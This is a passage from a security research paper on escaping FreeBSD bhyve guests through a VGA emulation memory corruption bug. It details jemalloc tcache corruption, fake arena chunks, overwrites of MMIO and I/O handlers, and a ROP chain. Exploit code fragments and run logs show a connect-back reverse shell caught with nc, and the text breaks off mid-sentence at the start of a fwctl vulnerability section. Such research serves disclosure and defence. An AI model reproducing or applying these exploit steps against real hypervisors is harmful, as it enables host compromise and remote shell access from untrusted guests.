During mevent_delete(), jemalloc frees a pointer which is not part of the allocator managed memory as the mevent structure was allocated in guest system memory by corrupting tcache structure (section 3.3). This will result in a segmentation fault unless a fake arena_chunk_s structure is set up before the free(). Freeing arbitrary pointer is already discussed in research [6], however, we will take a second look for the exploitation of this bug.

```
JEMALLOC_ALWAYS_INLINE void
arena_dalloc(tsdn_t *tsdn, void *ptr, tcache_t *tcache, bool slow_path)
{
        arena_chunk_t *chunk;
        size_t pageind, mapbits;
        . . .
        chunk = (arena_chunk_t *)CHUNK_ADDR2BASE(ptr);
        if (likely(chunk != ptr)) {
                pageind = ((uintptr_t)ptr - (uintptr_t)chunk) >> LG_PAGE;
                mapbits = arena_mapbits_get(chunk, pageind);
                assert(arena_mapbits_allocated_get(chunk, pageind) != 0);
                if (likely((mapbits & CHUNK_MAP_LARGE) == 0)) {
                        /* Small allocation. */
                        if (likely(tcache != NULL)) {
                                szind_t binind =
arena_ptr_small_binind_get(ptr,
                                    mapbits);
                                tcache_dalloc_small(tsdn_tsd(tsdn), tcache,
ptr,
```

```
                                        binind, slow_path);
        . . .
}
```

Request to free a pointer is handled by arena_dalloc() in arena.h of jemalloc. The CHUNK_ADDR2BASE() macro gets the chunk address from the pointer to be freed. The arena_chunk_s header has a dynamically sized map_bits array, which holds the properties of pages within the chunk.

```
/* Arena chunk header. */
struct arena_chunk_s {
        . . .
        extent_node_t           node;
        /*
         * Map of pages within chunk that keeps track of free/large/small.
         * The
         * first map_bias entries are omitted, since the chunk header does
         * not
         * need to be tracked in the map.  This omission saves a header
         * page
         * for common chunk sizes (e.g. 4 MiB).
         */
        arena_chunk_map_bits_t  map_bits[1]; /* Dynamically sized. */
};
```

The page index 'pageind' in arena_dalloc() for the pointer to be freed is calculated and used as index into 'map_bits' array of 'arena_chunk_s' structrue. This is done using arena_mapbits_get() to get the 'mapbits' value. The series of calls invoked during arena_mapbits_get() are arena_mapbits_get() -> arena_mapbitsp_get_const() -> arena_mapbitsp_get_mutable() -> arena_bitselm_get_mutable()

```
JEMALLOC_ALWAYS_INLINE arena_chunk_map_bits_t *
arena_bitselm_get_mutable(arena_chunk_t *chunk, size_t pageind)
{
        . . .
        return (&chunk->map_bits[pageind-map_bias]);
}
```

The 'map_bias' variable defines the number of pages used by chunk header, which does not need tracking and can be omitted. The 'map_bias' value is calculated in arena_boot() of arena.c file, whose value, in this case, is 13. arena_ptr_small_binind_get() gets the bin index 'binind' from the encoded 'map_bits' value in 'arena_chunk_s' structure. Once this information is fetched, tcache_dalloc_small() no longer uses arena chunk header but relies on information from thread-specific data and thread cache structures.

Hence the essential part of fake 'arena_chunk_s' structure is that, 'map_bits' should be set up in a way 'pageind - map_bias' calculation in arena_bitselm_get_mutable() points to an entry in 'maps_bits' array, which has an index value to a valid tcache bin. In this case, the index is set to 4, i.e. bin handling regions of size 64 bytes.

Since 'map_bias' is 13 pages, the usable pages could be placed after these fake header pages. An elegant way to achieve this is to request a 2MB (chunk size) contiguous memory from the guest which gets allocated as part of the guest system. Allocating a contiguous 2MB virtual memory in guest does not result in contiguous virtual memory allocation in the host. To force the allocation to be contiguous in both guest and bhyve host process, request memory using mmap() to allocate a 2MB huge page with MAP_HUGETLB flag set.

```
---[ exploit.c ]---
. . .
        shared_gva = mmap(0, 2 * MB, PROT_READ | PROT_WRITE,
        MAP_HUGETLB | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE,
-1, 0);
    . . .
```

```
        shared_gpa = gva_to_gpa((uint64_t)shared_gva);
        shared_hva = base_address + shared_gpa;

        /* setting up fake jemalloc chunk */
        arena_chunk = (struct arena_chunk_s *)shared_gva;

        /* set bin index, also dont set CHUNK_MAP_LARGE */
        arena_chunk->map_bits[4].bits = (4 << CHUNK_MAP_BININD_SHIFT);

        /* calculate address such that pageind - map_bias point to tcache
 * bin size 64 (i.e. index 4) */
        fake_tbin_hva = shared_hva + ((4 + map_bias) << 12);
        fake_tbin_gva = shared_gva + ((4 + map_bias) << 12);
. . .
```

```
+----------------------------+-------+------------------------------------+
|          Heap              |       |           Guest Memory             |
|                            |       | +----------------------------+     |
|  +---------+  +---------+  | Guard | | 2MB Huge Page              |     |
|  |vga_softc|  |tcache_s|   | Page  | | +--------------+ +---------+ |   |
|  |         |  | vCPU0   |  |       | | |     Fake     | | mevent | |     |
|  +---------+  +----+----+  |       | | |arena_chunk_s| |         | |    |
|                    |       |       | | +--------------+ +----^---+ |     |
|                    |       |       | +-----------------------+-----+    |
+--------------------+-------+-------+-----------------------+------------+
                     |                                       |
                     |                                       |
                     +---------------------------------------+
```

Now arbitrary pointer can be freed to overwrite 'mmio_hint' using mevent_delete() without a segmentation fault. The jemalloc version used in FreeBSD 11.0 does not check if pageind > map_bias, unlike the one seen in android [6]. Hence the fake chunk can also be set up in a single page like below:

```
. . .
        arena_chunk = (struct arena_chunk_s *)shared_gva;
        arena_chunk->map_bits[-map_bias].bits = (4 <<
CHUNK_MAP_BININD_SHIFT);

        fake_tbin_hva = shared_hva + sizeof(struct arena_chunk_s);
        fake_tbin_gva = shared_gva + sizeof(struct arena_chunk_s);
. . .
```

Since the address to be freed is part of the same page as the chunk header, the 'pageind' value would be 0. 'chunk->map_bits[pageind-map_bias]' in arena_bitselm_get_mutable() would end up accessing 'extent_node_t node' element of 'arena_chunk_s' structure since 'pageind-map_bias' is negative. One has to just set up the bin index here for a successful free().

----[3.8 - Code execution using MMIO vCPU cache

The MMIO cache 'mmio_hint' of vCPU0 is overwritten during mevent_delete() with a pointer to fake mmio_rb_range structure. The fake structure is set up like below:

```
---[ exploit.c ]---
. . .
        /* pci_emul_fallback_handler will return without error */
       mmio_range_gva->mr_param.handler  = (void
*)pci_emul_fallback_handler;
       mmio_range_gva->mr_param.arg1     = (void *)0x4444444444444444;   //
arg1 will be corrupted on mevent delete
       mmio_range_gva->mr_param.arg2     = 0x4545454545454545;           //
arg2 is fake RSP value for ROP. Fix this now or later
       mmio_range_gva->mr_param.base     = 0;
       mmio_range_gva->mr_param.size     = 0;
       mmio_range_gva->mr_param.flags    = 0;
```

```
        mmio_range_gva->mr_end            = 0xffffffffffffffff;
. . .
```

The 'mr_base' value is set to 0, and 'mr_end' is set to 0xffffffffffffffff i.e. entire range of physical address. Hence any MMIO access in the guest will end up using the fake mmio_rb_structure in emulate_mem():

```
int
emulate_mem(struct vmctx *ctx, int vcpu, uint64_t paddr, struct vie *vie,
    struct vm_guest_paging *paging)

{
        . . .
        if (mmio_hint[vcpu] &&
            paddr >= mmio_hint[vcpu]->mr_base &&
            paddr <= mmio_hint[vcpu]->mr_end) {
                entry = mmio_hint[vcpu];
        . . .
}
```

If the entire range of physical address is not used, any valid MMIO access to an address outside the range of fake 'mr_base' and 'mr_end' before the exploit triggers an MMIO access, will end up updating the 'mmio_hint' cache. The 'mmio_hint' overwrite becomes useless!

As a side effect of unlink operation in mevent_delete(), 'mr_param.arg1' is corrupted. It is necessary to make sure the corrupted value of 'mr_param.arg1' is not used for any MMIO access before the exploit itself triggers. To ensure this, setup 'mr_param.handler' with a pointer to function returning 0, i.e. success. Returning any other value would trigger an error on emulation, leading to abort() in vm_loop() of bhyverun.c. The ideal choice turned out to be pci_emul_fallback_handler() defined in pci_emul.c as below:

```
static int
pci_emul_fallback_handler(struct vmctx *ctx, int vcpu, int dir, uint64_t
addr,
              int size, uint64_t *val, void *arg1, long arg2)
{
    /*
     * Ignore writes; return 0xff's for reads. The mem read code
     * will take care of truncating to the correct size.
     */
    if (dir == MEM_F_READ) {
        *val = 0xffffffffffffffff;
    }
    return (0);
}
```

After overwriting 'mmio_hint[0]', both 'mr_param.arg1' and 'mr_param.handler' needs to be fixed for continuing with the exploitation. First overwrite 'mr_param.arg1' with address to 'pop rsp; ret' gadget, then overwrite 'mr_param.handler' with address to 'pop register; ret' gadget. This will make sure that the gadget is not triggered with a corrupted 'mr_param.arg1' value during a MMIO access. 'mr_param.arg2' should point to the fake stack with ROP payload. When the fake handler is executed during MMIO access, 'pop register; ret' pops the saved RIP and returns into the 'pop rsp' gadget. 'pop rsp' pops the fake stack pointer 'mr_param.arg2' and executes the ROP payload.

```
---[ exploit.c ]---
. . .
        /* fix the mmio handler */
        mmio_range_gva->mr_param.handler = (void *)pop_rbp;
        mmio_range_gva->mr_param.arg1 = (void *)pop_rsp;
        mmio_range_gva->mr_param.arg2 = rop;

        mmio = map_phy_address(0xD0000000, getpagesize());
        mmio[0];
```

```
...

Running the VM escape exploit gives a connect back shell to the guest with
the following output:

root@linuxguest:~/setupA/vga_fakearena_exploit# ./exploit 192.168.182.148
6969
exploit: [+] CPU affinity set to vCPU0
exploit: [+] Reading bhyve process memory...
exploit: [+] Leaked tcache avail pointers @ 0x801b71248
exploit: [+] Leaked tbin avail pointer = 0x823c10000
exploit: [+] Offset of tbin avail pointer = 0xfcf60
exploit: [+] Leaked vga_softc @ 0x801a74000
exploit: [+] Guest base address = 0x802000000
exploit: [+] Disabling ACPI shutdown to free mevent struct...
exploit: [+] Shared data structures mapped @ 0x811e00000
exploit: [+] Overwriting tbin avail pointers...
exploit: [+] Enabling ACPI shutdown to reallocate mevent struct...
exploit: [+] Leaked .text power_button_handler address = 0x430380
exploit: [+] Modifying mevent structure next and previous pointers...
exploit: [+] Disabling ACPI shutdown to overwrite mmio_hint using fake
mevent struct...
exploit: [+] Preparing connect back shellcode for 192.168.182.148:6969
exploit: [+] Shared payload mapped @ 0x811c00000
exploit: [+] Triggering MMIO read to trigger payload
root@linuxguest:~/setupA/vga_fakearena_exploit#

renorobert@linuxguest:~$ nc -vvv -l 6969
Listening on [0.0.0.0] (family 0, port 6969)
Connection from [192.168.182.146] port 6969 [tcp/*] accepted (family 2,
sport 35381)
uname -a
FreeBSD  11.0-RELEASE-p1 FreeBSD 11.0-RELEASE-p1 #0 r306420: Thu Sep 29
01:43:23 UTC 2016
root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC  amd64
```

--[4 - Other exploitation strategies

This section details about other ways to exploit the bug by corrupting structures used for I/O port emulation and PCI config space emulation.

----[4.1 - Allocating a region into another size class for free()

Section 3.7 details about setting up fake arena chunk headers to free an arbitrary pointer during the call to mevent_delete(). However, there is an alternate way to achieve this by allocating the mevent structure as part of an existing thread cache allocation.

The address of 'vga_softc' structure can be calculated as described in section 3.3 by leaking the tbins[4].avail pointer. The main 'mevent' thread allocates 'vga_softc' structure as part of bins handling regions of size 0x800 bytes. By overwriting tbin[4].avail[-ncached] pointer of vCPU0 thread with the address of region adjacent to vga_softc structure, we can force mevent structure allocated by 'vCPU0' thread, to be allocated as part of memory managed by 'mevent' thread.

Since the 'mevent' structure is allocated after 'vga_softc' structure, the out of bound write can be used to overwrite the next and previous pointers used for unlinking. During free(), the existing chunk headers of the bins servicing regions of size 0x800 are used, allowing a successful free() without crashing. In general, jemalloc allows freeing a pointer within an allocated run [6].

----[4.2 - PMIO emulation and corrupting inout_handlers structures

Understanding port-mapped I/O emulation in bhyve provides powerful primitives when exploiting a vulnerability. In this section, we will see how this can be leveraged for accessing parts of heap memory which was previously not accessible. VM exits caused by I/O access invokes the vmexit_inout() handler in bhyverun.c. vmexit_inout() further calls emulate_inout() in inout.c for emulation.

I/O port handlers and other device specific information are maintained in an array of 'inout_handlers' structure defined in inout.c:

```
#define MAX_IOPORTS     (1 << 16)

static struct {
        const char      *name;
        int             flags;
        inout_func_t    handler;
        void            *arg;
} inout_handlers[MAX_IOPORTS];
```

Virtual devices register callbacks for I/O port by calling register_inout() in inout.c, which populates the 'inout_handlers' structure:

```
int
register_inout(struct inout_port *iop)
{
        . . .
        for (i = iop->port; i < iop->port + iop->size; i++) {
                inout_handlers[i].name = iop->name;
                inout_handlers[i].flags = iop->flags;
                inout_handlers[i].handler = iop->handler;
                inout_handlers[i].arg = iop->arg;
        }
        . . .
}
```

emulate_inout() function uses the information from 'inout_handlers' to invoke the respective registered handler as below:

```
int
emulate_inout(struct vmctx *ctx, int vcpu, struct vm_exit *vmexit, int
strict)
{
        . . .
        bytes = vmexit->u.inout.bytes;
        in = vmexit->u.inout.in;
        port = vmexit->u.inout.port;
        . . .
        handler = inout_handlers[port].handler;
        . . .
        flags = inout_handlers[port].flags;
        arg = inout_handlers[port].arg;
        . . .
                retval = handler(ctx, vcpu, in, port, bytes, &val, arg);
        . . .
}
```

Overwriting 'arg' pointer in 'inout_handlers' structure could provide interesting primitives. In this case, VGA emulation registers its I/O port handler vga_port_handler() defined in vga.c for the port range of 0x3C0 to 0x3DF with 'vga_softc' structure as 'arg'.

```
void *
vga_init(int io_only)
{
        . . .
        sc = calloc(1, sizeof(struct vga_softc));

        bzero(&iop, sizeof(struct inout_port));
        iop.name = "VGA";
        for (port = VGA_IOPORT_START; port <= VGA_IOPORT_END; port++) {
                iop.port = port;
                iop.size = 1;
                iop.flags = IOPORT_F_INOUT;
```

```
                iop.handler = vga_port_handler;
                iop.arg = sc;

                error = register_inout(&iop);
                assert(error == 0);
        }
        . . .
}
```

Going back to the patch in section 2, it is noticed that dac_rd_index, dac_rd_subindex, dac_wr_index, dac_wr_subindex are all signed integers. Hence by overwriting 'arg' pointer with the address of fake 'vga_softc' structure in heap and dac_rd_index/dac_wr_index set to negative values, the guest can access memory before 'dac_palette' array. Specifically, the 'arg' pointer of DAC_DATA_PORT (0x3c9) needs to be overwritten since it handles read and write access to the 'dac_palette' array.

```
---[ exploit.c ]---
. . .
        /* setup fake vga_softc structure */
        memset(&vga_softc, 0, sizeof(struct vga_softc));
        chunk_hi_offset = CHUNK_ADDR2OFFSET(vga_softc_bins[2] +
                                get_offset(struct vga_softc,
vga_dac.dac_palette));

        /* set up values for reading the heap chunk */
        vga_softc.vga_dac.dac_rd_subindex = -chunk_hi_offset;
        vga_softc.vga_dac.dac_wr_subindex = -chunk_hi_offset;
. . .
```

Therefore instead of overwriting 'mmio_hint' using mevent_delete() unlink, the exploit overwrites 'arg' pointer of I/O port handler to gain access to other parts of heap which were earlier not reachable during the linear out of bounds access. Hardcoded address of 'inout_handlers' structure is used in the exploit code as done with 'mmio_hint' previously due to the lack of PIE and ASLR. The offset to the start of the chunk from the fake 'vga_softc' structure (vga_dac.dac_palette) can be calculated using the jemalloc CHUNK_ADDR2OFFSET() macro.

```
+-----------------------++-----------------------++----------------------+
|inout_handlers[0]      ||inout_handlers[0x3C9] ||inout_handlers[0xFFFF]|
+-----------------------++-----+------^----+-----++----------------------+
      Before                   |       |     |
    Overwrite------------------+       |     |  After
         |       +---------------------+     |Overwrite
+---------+-------+-------------------------+-------------------------+----+
|         |       |                 Heap    |                         |....|
| +-------+-------+-------------------------+------+                  |....|
| | +----v----+ ++-----------------+ +----v----+ |      +---------+  |....|
| | |         | ||    mevent       | |         | |      |         |  |....|
| | |         | || +------------+  | |         | |      |         |  |....|
| | |  Real   | || |   next     +--+-->  Fake   | |      |tcache_s|  |....|
| | |vga_softc| || +------------+  | |vga_softc| |      | vCPU0   |  |....|
| | |         | || +------------+  | |         | |      |         |  |....|
| | |         | |+-+ previous   |  | |         | |      |         |  |....|
| | |         | |  +------------+  | |         | |      |         |  |....|
| | +---------+ +---------------^-+ +---------+ |      +----+----+  |....|
| |  region[0]      region[1]   |    region[2]  |           |       |....|
| +-----------------------------+---------------+           |       |....|
+-------------------------------+---------------------------+------+----+
                                |                           |
                                |                           |
                                |                           |
                                +---------------------------+
```

Corrupting 'inout_handlers' structure can also be leveraged for a full process r/w, which is described later in section 7.2

----[4.3 - Leaking vmctx structure

Section 3.4 details the advantages of leaking the guest system base address for exploitation. An elegant way to achieve this is by leaking the 'vmctx' structure, which holds a pointer 'baseaddr' to the guest system memory. 'vmctx' structure is defined in libvmmapi/vmmapi.c and gets initialized in vm_setup_memory() as seen in section 3.1

```
struct vmctx {
        int     fd;
        uint32_t lowmem_limit;
        int     memflags;
        size_t  lowmem;
        size_t  highmem;
        char    *baseaddr;
        char    *name;
};
```

By reading the jemalloc chunk using DAC_DATA_PORT after setting up fake 'vga_softc' structure, the 'vmctx' structure along with 'baseaddr' pointer can be leaked by the guest.

----[4.4 - Overwriting MMIO Red-Black tree node for RIP control

Overwriting the 'arg' pointer of DAC_DATA_PORT port with fake 'vga_softc' structure opens up the opportunity to overwrite many other callbacks other than 'mmio_hint' to gain RIP control. However, overwriting MMIO callbacks is still a nice option since it provides ways to control stack for stack pivot as detailed in sections 3.6 and 3.8. But instead of overwriting 'mmio_hint', guest can directly overwrite a specific red-black tree node used for MMIO emulation.

The ideal choice turns out to be the node in 'mmio_rb_fallback' tree handling access to memory that is not allocated to the system memory or PCI devices. This part of memory is not frequently accessed, and overwriting it does not affect other guest operations. To locate this red-black tree node, search for the address of function pci_emul_fallback_handler() in the heap which is registered during the call to init_pci() function defined in pci_emul.c

```
int
init_pci(struct vmctx *ctx)
{
        . . .
        lowmem = vm_get_lowmem_size(ctx);
        bzero(&mr, sizeof(struct mem_range));
        mr.name = "PCI hole";
        mr.flags = MEM_F_RW | MEM_F_IMMUTABLE;
        mr.base = lowmem;
        mr.size = (4ULL * 1024 * 1024 * 1024) - lowmem;
        mr.handler = pci_emul_fallback_handler;
        error = register_mem_fallback(&mr);
        . . .
}
```

To gain RIP control like 'mmio_hint' technique, overwrite the handler, arg1 and arg2, then access a memory not allocated to system memory or PCI devices. Below is the output of full working exploit:

```
root@linuxguest:~/setupA/vga_ioport_exploit# ./exploit 192.168.182.148 6969
exploit: [+] CPU affinity set to vCPU0
exploit: [+] Reading bhyve process memory...
exploit: [+] Leaked tcache avail pointers @ 0x801b71248
exploit: [+] Leaked tbin avail pointer = 0x823c10000
exploit: [+] Offset of tbin avail pointer = 0xfcf60
exploit: [+] Leaked vga_softc @ 0x801a74000
exploit: [+] Disabling ACPI shutdown to free mevent struct...
exploit: [+] Overwriting tbin avail pointers...
exploit: [+] Enabling ACPI shutdown to reallocate mevent struct...
```

```
exploit: [+] Writing fake vga_softc and mevents into heap
exploit: [+] Trigerring unlink to overwrite IO handlers
exploit: [+] Reading the chunk data...
exploit: [+] Guest baseaddr from vmctx : 0x802000000
exploit: [+] Preparing connect back shellcode for 192.168.182.148:6969
exploit: [+] Shared memory mapped @ 0x816000000
exploit: [+] Writing fake mem_range into red black tree
exploit: [+] Triggering MMIO read to trigger payload
root@linuxguest:~/setupA/vga_ioport_exploit#

renorobert@linuxguest:~$ nc -vvv -l 6969
Listening on [0.0.0.0] (family 0, port 6969)
Connection from [192.168.182.146] port 6969 [tcp/*] accepted (family 2,
sport 14901)
uname -a
FreeBSD  11.0-RELEASE-p1 FreeBSD 11.0-RELEASE-p1 #0 r306420: Thu Sep 29
01:43:23 UTC 2016
root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC  amd64
```

----[4.5 - Using PCI BAR decoding for RIP control

All the techniques discussed so far depends on the SMI handler's ability to allocate and free memory, i.e. unlinking mevent structure. This section discusses another way to allocate/deallocate memory using PCI config space emulation and further explore ways to exploit the bug without running into jemalloc arbitrary free() issue.

Bhyve emulates access to config space address port 0xCF8 and config space data port 0xCFC using pci_emul_cfgaddr() and pci_emul_cfgdata() defined in pci_emul.c. pci_emul_cfgdata() further calls pci_cfgrw() for handling r/w access to PCI configuration space. The interesting part of emulation for the exploitation of this bug is the access to the command register.

```
static void
pci_cfgrw(struct vmctx *ctx, int vcpu, int in, int bus, int slot, int func,
    int coff, int bytes, uint32_t *eax)
{
       . . .
                } else if (coff >= PCIR_COMMAND && coff < PCIR_REVID) {
                        pci_emul_cmdsts_write(pi, coff, *eax, bytes);
       . . .
}
```

The PCI command register is at an offset 4 bytes into the config space header. When the command register is accessed, pci_emul_cmdsts_write() is invoked to handle the access.

```
static void
pci_emul_cmdsts_write(struct pci_devinst *pi, int coff, uint32_t new, int
bytes)
{
        . . .
        cmd = pci_get_cfgdata16(pi, PCIR_COMMAND);      /* stash old value
*/
        . . .
        CFGWRITE(pi, coff, new, bytes);                 /* update config */

        cmd2 = pci_get_cfgdata16(pi, PCIR_COMMAND);     /* get updated
value */
        changed = cmd ^ cmd2;
        . . .
        for (i = 0; i <= PCI_BARMAX; i++) {
                switch (pi->pi_bar[i].type) {

        . . .
                        case PCIBAR_MEM32:
                        case PCIBAR_MEM64:
                                /* MMIO address space decoding changed' */
                                if (changed & PCIM_CMD_MEMEN) {
```

```
                                        if (memen(pi))
                                                register_bar(pi, i);
                                        else
                                                unregister_bar(pi, i);
                                }
        . . .
}
```

The bit 0 in the command register specifies if the device can respond to I/O space access and bit 1 specifies if the device can respond to memory space access. When the bits are unset, the respective BARs are unregistered. When a BAR is registered using register_bar() or unregistered using unregister_bar(), modify_bar_registration() in pci_emul.c is invoked. Registering or unregistering a BAR mapping I/O space address, only involves modifying 'inout_handlers' array. Interestingly, registering or unregistering a BAR mapping memory space address involves allocation and deallocation of heap memory. When a memory range is registered for MMIO emulation, it gets added to the 'mmio_rb_root' red-black tree.

Let us consider the case of framebuffer device which allocates 2 memory BARs in pci_fbuf_init() function defined in pci_fbuf.c

```
static int
pci_fbuf_init(struct vmctx *ctx, struct pci_devinst *pi, char *opts)
{
        . . .
        pci_set_cfgdata16(pi, PCIR_DEVICE, 0x40FB);
        pci_set_cfgdata16(pi, PCIR_VENDOR, 0xFB5D);
        . . .
        error = pci_emul_alloc_bar(pi, 0, PCIBAR_MEM32, DMEMSZ);
        assert(error == 0);

        error = pci_emul_alloc_bar(pi, 1, PCIBAR_MEM32, FB_SIZE);
        . . .
}
```

The series of calls made during BAR allocation looks like
pci_emul_alloc_bar() -> pci_emul_alloc_pbar() -> register_bar() ->
modify_bar_registration() -> register_mem() -> register_mem_int()

```
static void
modify_bar_registration(struct pci_devinst *pi, int idx, int registration)
{
        . . .
        switch (pi->pi_bar[idx].type) {
        . . .
        case PCIBAR_MEM32:
        case PCIBAR_MEM64:
                bzero(&mr, sizeof(struct mem_range));
                mr.name = pi->pi_name;
                mr.base = pi->pi_bar[idx].addr;
                mr.size = pi->pi_bar[idx].size;
                if (registration) {
                        . . .
                        error = register_mem(&mr);
                } else
                        error = unregister_mem(&mr);
        . . .
}
```

register_mem_int() or unregister_mem() in mem.c handle the actual allocation or deallocation. During registration, a 'mmio_rb_range' structure is allocated and gets added to the red-black tree. During unregister, the same node gets freed using RB_REMOVE().

```
static int
register_mem_int(struct mmio_rb_tree *rbt, struct mem_range *memp)
{
        . . .
```

```
        mrp = malloc(sizeof(struct mmio_rb_range));

        if (mrp != NULL) {
        . . .
                if (mmio_rb_lookup(rbt, memp->base, &entry) != 0)
                        err = mmio_rb_add(rbt, mrp);
        . . .
}

int
unregister_mem(struct mem_range *memp)
{
        . . .
        err = mmio_rb_lookup(&mmio_rb_root, memp->base, &entry);
        if (err == 0) {
        . . .
                RB_REMOVE(mmio_rb_tree, &mmio_rb_root, entry);
        . . .
}
```

Hence by disabling memory space decoding in the PCI command register, it is possible to free 'mmio_rb_range' structure associated with a device. Also, by re-enabling the memory space decoding, 'mmio_rb_range' structure can be allocated. The same operations can also be triggered by writing to PCI BAR, which calls update_bar_address() in pci_emul.c. However, unregister_bar() and register_bar() are called together as part of the write operation to PCI BAR, unlike independent events when enabling and disabling BAR decoding in the command register.

The 'mmio_rb_range' structure is of size 104 bytes and serviced by bins of size 112 bytes. When both BARs are unregistered by writing to the command register, the pointers to the freed memory is pushed into 'avail' pointers of thread cache structure. To allocate the 'mmio_rb_range' structure of framebuffer device at an address controlled by guest, overwrite the cached pointers in tbins[7].avail array with the address of guest memory as detailed in section 3.3 and then re-enable memory space decoding. Below is the state of the heap when framebuffer BARs are freed:

```
(gdb) info threads
  Id   Target Id         Frame
* 1    LWP 100154 of process 1318 "mevent" 0x000000080121198a in _kevent ()
* from /lib/libc.so.7
  2    LWP 100157 of process 1318 "blk-4:0-0" 0x0000000800ebf67c in
_umtx_op_err () from /lib/libthr.so.3
  . . .
  12   LWP 100167 of process 1318 "vcpu 0" 0x00000008012297da in ioctl ()
from /lib/libc.so.7
  13   LWP 100168 of process 1318 "vcpu 1" 0x00000008012297da in ioctl ()
from /lib/libc.so.7

(gdb) thread 12
[Switching to thread 12 (LWP 100167 of process 1318)]
#0  0x00000008012297da in ioctl () from /lib/libc.so.7

(gdb) x/gx $fs_base-152
0x800691898:    0x0000000801b6f000

(gdb) print ((struct tcache_s *)0x0000000801b6f000)->tbins[7]
$4 = {tstats = {nrequests = 28}, low_water = 0, lg_fill_div = 1, ncached =
2, avail = 0x801b72508}

(gdb) x/2gx 0x801b72508-(2*8)
0x801b724f8:    0x0000000801a650e0  0x0000000801a65150
```

This technique entirely skips the jemalloc arbitrary free, since mevent_delete() is not used. Guest can directly modify the handler, arg1 and arg2 elements of the 'mmio_rb_range' structure. Once modified, access a memory mapped by BAR0 or BAR1 of the framebuffer device to gain RIP control. Below is the output from the proof of concept code:

```
root@linuxguest:~/setupA/vga_pci_exploit# ./exploit
exploit: [+] CPU affinity set to vCPU0
exploit: [+] Writing to PCI command register to free memory
exploit: [+] Reading bhyve process memory...
exploit: [+] Leaked tcache avail pointers @ 0x801b72508
exploit: [+] Offset of tbin avail pointer = 0xfe410
exploit: [+] Guest base address = 0x802000000
exploit: [+] Shared data structures mapped @ 0x812000000
exploit: [+] Overwriting tbin avail pointers...
exploit: [+] Writing to PCI command register to reallocate freed memory
exploit: [+] Triggering MMIO read for RIP control

root@:~ # gdb -q -p 16759
Attaching to process 16759
Reading symbols from /usr/sbin/bhyve...Reading symbols from
/usr/lib/debug//usr/sbin/bhyve.debug...done.
done.
. . .
(gdb) c
Continuing.

Thread 12 "vcpu 0" received signal SIGBUS, Bus error.
[Switching to LWP 100269 of process 16759]
0x0000000000412189 in mem_read (ctx=0x801a15080, vcpu=0, gpa=3221241856,
rval=0x7fffdebf3d70, size=1, arg=0x812000020) at
/usr/src/usr.sbin/bhyve/mem.c:143
143 /usr/src/usr.sbin/bhyve/mem.c: No such file or directory.
(gdb) x/i $rip
=> 0x412189 <mem_read+121>: callq  *%r10
 (gdb) p/x $r10
$1 = 0x4242424242424242
```

--[5 - Notes on ROP payload and process continuation

The ROP payload used in the exploit performs the following operations:

- Clear the 'mmio_hint' by setting it to NULL. If not, the fake structure 'mmio_rb_range' structure will be used forever by the guest for any MMIO access
- Save an address pointing to the stack and use this later for process continuation
- Leak an address to 'syscall' gadget in libc by reading the GOT entry of ioctl() call. Use this further for making any syscall
- Call mprotect() to make a guest-controlled memory RWX for executing shellcode
- Jump to the connect back shellcode
- Set RAX to 0 before returning from the hijacked function call. If not, this is treated as an error on emulation and abort() is called, i.e. no process continuation!
- Restore the stack using the saved stack address for process continuation

When mem_read() is called, the 'rval' argument passed to it is a pointer to a stack variable:

```
static int
mem_read(void *ctx, int vcpu, uint64_t gpa, uint64_t *rval, int size, void
*arg)
{
        int error;
        struct mem_range *mr = arg;
        error = (*mr->handler)(ctx, vcpu, MEM_F_READ, gpa, size,
                               rval, mr->arg1, mr->arg2);
        return (error);
}
```

As per the calling convention, 'rval' value is present in register R9 when the ROP payload starts executing during the invocation of 'mr->handler'. The below instruction sequence in mem_write() provides a nice way to save the R9 register value by controlling the RBP value. This saved value is used to return to the original call stack without crashing the bhyve process.

```
   0x0000000000412218 <+120>:   mov    %r9,-0x68(%rbp)
   0x000000000041221c <+124>:   mov    %r10,%r9
   0x000000000041221f <+127>:   mov    -0x68(%rbp),%r10
   0x0000000000412223 <+131>:   mov    %r10,(%rsp)
   0x0000000000412227 <+135>:   mov    %r11,0x8(%rsp)
   0x000000000041222c <+140>:   mov    -0x60(%rbp),%r10
   0x0000000000412230 <+144>:   callq  *%r10
```

Here concludes the first part of the paper on exploiting the VGA memory corruption bug.

--[6 - Vulnerability in Firmware Configuration device

Firmware Configuration device (fwctl) allows the guest to retrieve specific host provided configuration like vCPU count, during initialization. The device is enabled by bhyve when the guest is configured to use a bootrom such as UEFI firmware.

fwctl.c implements the device using a request/response messaging protocol over I/O ports 0x510 and 0x511. The messaging protocol uses 5 states - DORMANT, IDENT_WAIT, IDENT_SEND, REQ or RESP for its operation.

- DORMANT, the state of the device before initialization
- IDENT_WAIT, the state of the device when it is initialized by calling fwctl_init()
- IDENT_SEND, device moves to this state when the guest writes WORD 0 to I/O port 0x510
- REQ, the final stage of the initial handshake is to read byte by byte from I/O port 0x511. The signature 'BHYV' is returned to the guest and moves the device into REQ state after the 4 bytes read. When the device is in REQ state, guest can request configuration information
- RESP, once the guest request is complete, the device moves to RESP state. In this state, the device services the request and goes back to REQ state for handling the next request

The interesting states here are REQ and RESP, where the device performs operations using guest provided inputs. Guest requests are handled by function fwctl_request() as below:

```
static int
fwctl_request(uint32_t value)
{
        . . .
        switch (rinfo.req_count) {
        case 0:
                . . .
                rinfo.req_size = value;
                . . .
        case 1:
                rinfo.req_type = value;
                rinfo.req_count++;
                break;
        case 2:
                rinfo.req_txid = value;
                rinfo.req_count++;
                ret = fwctl_request_start();
                break;
        default:
                ret = fwctl_request_data(value);
        . . .
}
```

Guest can set the value of 'rinfo.req_size' when the request count 'rinfo.req_count' is 0, and for each request from the guest, 'rinfo.req_count' is incremented. The messaging protocol defines a set of 5 operations OP_NULL, OP_ECHO, OP_GET, OP_GET_LEN and OP_SET out of which only OP_GET and OP_GET_LEN are supported currently. The request type (operation) 'rinfo.req_type' could be set to either of this. Once the required information is received, fwctl_request_start() validates the request:

```
static int
fwctl_request_start(void)
{
        . . .
        rinfo.req_op = &errop_info;
        if (rinfo.req_type <= OP_MAX && ops[rinfo.req_type] != NULL)
                rinfo.req_op = ops[rinfo.req_type];

        err = (*rinfo.req_op->op_start)(rinfo.req_size);

        if (err) {
                errop_set(err);
                rinfo.req_op = &errop_info;
        }
        . . .
}
```

'req_op->op_start' calls fget_start() to validate the 'rinfo.req_size' provided by the guest as detailed below:

```
